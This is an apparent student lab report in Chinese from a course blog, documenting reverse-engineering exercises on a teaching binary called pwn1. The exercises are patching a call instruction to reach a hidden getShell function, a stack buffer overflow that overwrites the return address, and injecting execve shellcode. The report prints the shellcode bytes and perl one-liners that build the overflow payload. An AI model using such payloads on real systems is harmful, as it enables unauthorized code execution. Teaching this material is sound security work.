20164301

导航

20164301 Exp1 PC平台逆向破解

逆向及Bof基础实践

一、实践目标

        本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,

foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个

可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

 

 我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

 三个实践内容如下:

              1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

              2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

              3.注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

               1.运行原本不可访问的代码片段

               2.强行修改程序执行流

               3.以及注入运行任意代码。

 

 

二、基础知识

1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOPNOP指令即“空指令”。执行到NOP指令时,CPU仅把它当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE条件转移指令,如果不相等则跳转。(机器码:75)

JE条件转移指令,如果相等则跳转。(机器码:74)

JMP无条件转移指令。段内直接短转Jmp short(机器码:EB)  段内直接近转移Jmp near(机器码:E9)

段内间接转移 Jmp word(机器码:FF)  段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,

将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。 

2、掌握反汇编与十六进制编程器

objdump -f test     显示test的文件头信息

objdump -d test    反汇编test中的需要执行指令的那些section

objdump -D test    与-d类似,但反汇编test中的所有section

objdump -h test    显示test的Section Header信息

objdump -x test    显示test的全部Header信息

objdump -s test    除了显示test的全部Header信息,还显示他们对应的十六进制文件代码

 

安装十六进制编程器

 查找实验一内容,找到调用foo函数的机器指令

 

直接修改程序机器指令

 

 

 

 

三、实验内容

实验一、直接修改程序机器指令,改变程序执行流程

1.objdump命令反汇编pwn1文件

 

2."call 8048491 "是汇编指令,是说这条指令将调用位于地址8048491处的foo函数;

    一般EIP的值应该是下条指令的地址,但通过e8跳转,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

    08048491-80484ba=-0x29即-41, 则-41对应d7ffffff

    如果调用getShell,就要修改“d7ffffff”为"getShell-80484ba"对应的补码

    8048491-804847d = ffffffd7 - getshell  可以解得为c3ffffff

    也可以用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff

 

3.vi编辑器是所有Unix及Linux系统下标准的编辑器。

    cp pwn1 pwn2   ,    vi pwn2,开始编辑。

 


4.在上图的基础上输入 :%!xxd命令,将显示模式切换为16进制模式,查找要修改的内容,修改d7为c3,然后存盘退出

 

 

5. 再次反汇编查看,修改机器指令成功,call指令正确调用getShell。

 


6.运行下改后的代码,得到shell提示符#,修改成功,调用了getshell。

 

 

 

 

 

实验二、通过构造输入参数,造成BOF攻击,改变程序执行流

    即构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

 

1. 确认输入字符串哪几个字符会覆盖到返回地址

 

2.


2.得到EIP的值,是ASCII 5,返回地址就在最后8个5中。

 

 

3.利用12345678这8个数确认返回地址,结果发现 1234 这四个数最终会覆盖到堆栈上的返回地址,CPU会尝试运行

   这个位置的代码。只要把这四个字符替换为 getShell 的内存地址,输给 pwn1,pwn1就会运行getShell。

   由图也确定了地址的输入顺序,应该向字符串中反序输入getshell的内存地址。

 

 

4.将getShell 的内存地址反序加入,构造输入字符串。执行文件,调用shell成功。

 

 

 

实验三、 注入Shellcode并执行

准备一段shell_code

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

目的是为了获取一个交互式的shell。凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

 

 1.下载安装execstack,进行准备配置

 

2.构造要注入的payload。若用nops+shellcode+retaddr,根据实验指导发现代码也在堆栈上,当前栈顶也在,

  push指令被payload覆盖采用结构nything+retaddr+nops+shellcode。

 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

   为了确定\x4\x3\x2\x1该填什么。打开一个终端注入这段攻击buf。

   再开另外一个终端,用gdb来调试pwn1这个进程。

 

 3.通过设置断点,查看注入buf的内存地址,为0x80484ae

 

 4. 查看esp,找到01020304所在的返回地址的位置。因为shellcode紧挨着0xffffd36c,要加上4,所以地址是 0xffffd370。

 

 5.填入地址,输入

perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

进行攻击,成功

 

 

实验收获与感想

       通过这次实验,我学会了“修改指令运行其他代码”,“修改程序执行流”和“注入执行程序”这三种基本的攻击的方法。

3个实验全部都是按实验指导做完的,虽然实验很快截完图做完了,但是有的步骤的意思不明白,再加上之前因为上课

没有听懂,所以其中修改程序执行流和注入执行程序这两个方法,让我看了很长时间。

      这次实验让我意识到了自己基础的薄弱,仍和其他同学有较大差距,以后的实验要理解具体原理。

什么是漏洞?

漏洞是指系统上存在的缺陷,攻击者可以通过漏洞破坏系统。

漏洞有什么危害?

漏洞很容易出现病毒或受到黑客的攻击,导致数据丢失,计算机系统被控制。

posted on 2019-03-15 19:41  20164301  阅读(220)  评论(0编辑  收藏  举报